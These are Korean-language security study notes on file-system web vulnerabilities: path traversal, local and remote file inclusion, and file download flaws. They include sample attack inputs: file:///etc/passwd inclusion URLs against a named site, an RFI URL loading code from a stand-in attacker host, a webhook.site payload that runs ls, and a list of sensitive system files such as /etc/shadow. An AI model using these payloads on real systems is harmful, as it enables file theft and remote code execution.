파일 시스템에서 발생하는 취약점 유형
▪ 민감 정보 및 시스템 정보 접근(탈취), 악성코드 삽입으로 원격 코드 실행 등의 공격 수행
▪ 웹 서비스에서 이미지, 정보 등의 파일 업로드 및 다운로드하는 기능에서 발생하는 취약점
▪ 파일 취약점을 이용해, 서버 내 소스코드, 시스템 파일을 다운로드하고 악성코드 삽입으로 원격코드 실행 등의 악성 행위를 수행
경로 탐색 취약점
웹 서비스 접근시, 접근 경로를 조작하여 정상 범위(웹 루트 디렉토리)를 벗어나 서버 파일에 접근하거나 조작할 수 있는 취약점
❗파일시스템 API 호출에 제한 및 검증이 없는 경우 발생
▪ 파일 업로드 시 특정 디렉토리에 대한 업로드 제한이 없는 경우, 해당 취약점을 이용해 임의 경로를 지정해 파일을 업로드할 수 있다.
▪ 이용자의 입력에 의해 발생하며, 파일 및 접근 경로를 조작해 상위 디렉토리로 이동해 디렉토리 및 민감 파일에 접근할 수 있다.
(민감파일은 시스템 파일일 수 있으며, 그 외 모든파일에해당)
상대 경로 표기법을 이용한, 파일 경로 조작으로 시스템 파일 접근
※ 시작 점이 documentroot 파일이 존재하는 웹 루트 디렉토리이기때문에 절대경로는 먹히지 않음
| 경로 | 설명 |
|---|---|
| /etc/passwd | 모든 사용자 계정 정보 저장(비밀번호 제외) |
| /etc/shadow | 암호화된 비밀번호 정보 저장 |
| /etc/group | 모든 그룹 정보 저장 |
| /etc/hosts | HOST와 IP 매핑 정보 저장 |
| /proc/self/environ | 현재 실행 중인 프로세스 환경변수 정보 저장 |
| /home/$USER/.bash_history | 사용자가 입력한 명령어 기록 저장 |
웹 서비스에서 파일을 포함하는 경우 발생하는 취약점
로컬/원격 서버의 파일을 읽거나, 로컬/원격서버 파일을 불러와 실행할 수 있다.
File Inclusion vs 파일 업·다운로드 취약점
파일 업다운로드는, 업다운로드 기능이 있어야 함
file inclusion은 단순 조회 기능을 이용하여 url에 악성스크립트를 포함시킨다음 실행되게 만듦
▪ 서버의 로컬 파일을 포함하는 취약점
▪ 파일 포함 함수에 의해 직접 입력값을 전달할 경우 발생
▪ 로컬 서버에서 스크립트 파일을 읽거나 실행이 가능하며, 시스템 파일에 접근 가능
#https://URL/?file1=./test.php

File URI scheme
파일 스키마 :
file://host/pathfile://localhost/etc/fstab
file:///etc/fstab
https://www.kisia.or.kr?file_inclusion=file:///etc/passwdhost 부분이 생략되면 localhost로 매핑

https://www.kisia.or.kr?file_inclusion=file:///etc/passwd

▪ 원격 파일을 포함해 조작 가능한 취약점
▪ 파일 포함 함수 설정으로 인해, 외부 URL 파일을 허용한 경우 발생
▪ 원격 서버에 악성코드를 실행 가능
http://example.com/index.php?page=http://atacker.com/mal.php

Webhook 사이트에서 공격자 서버 대용으로 사용할 시스템함수를 포함한 페이지 생성

file 파라미터에 해당 url 입력하면 ls 함수 실행
https://www.kisia.or.kr?file_inclusion=https://webhook.site/540ad1cd-f3a7-4ece-8fb3-6303d41e456e

서버에 업로드 된 파일을 다운로드 받을 수 있게 만들어진 서비스를 이용하여,
정해진 파일이 아닌 다른 파일(시스템 파일, 소스 코드 파일 등)을 다운로드 받을 수 있는 취약점
➡️ 외부(사용자) 입력값 중 경로조작에 사용될 수 있는 문자에 대한 필터링 부재로, 예상 밖의 허가되지 않은 영역에 접근이 가능해져 시스템 정보 누출, 서비스 장애 등을 유발할 수 있는 취약점
https://www.kisia.or.kr/download/?filename={시스템 및 임의 파일}
▪ 자료실, 게시글 등 파일이 업로드 되어있는 기능을 이용해서 파일을 다운로드
▪ 파일 다운로드 시, 경로 및 파일명 조작으로 임의 파일을 다운로드
▪ 해당 취약점으로 인해, 소스코드 탈취 취약점이 발생 (File Leakage)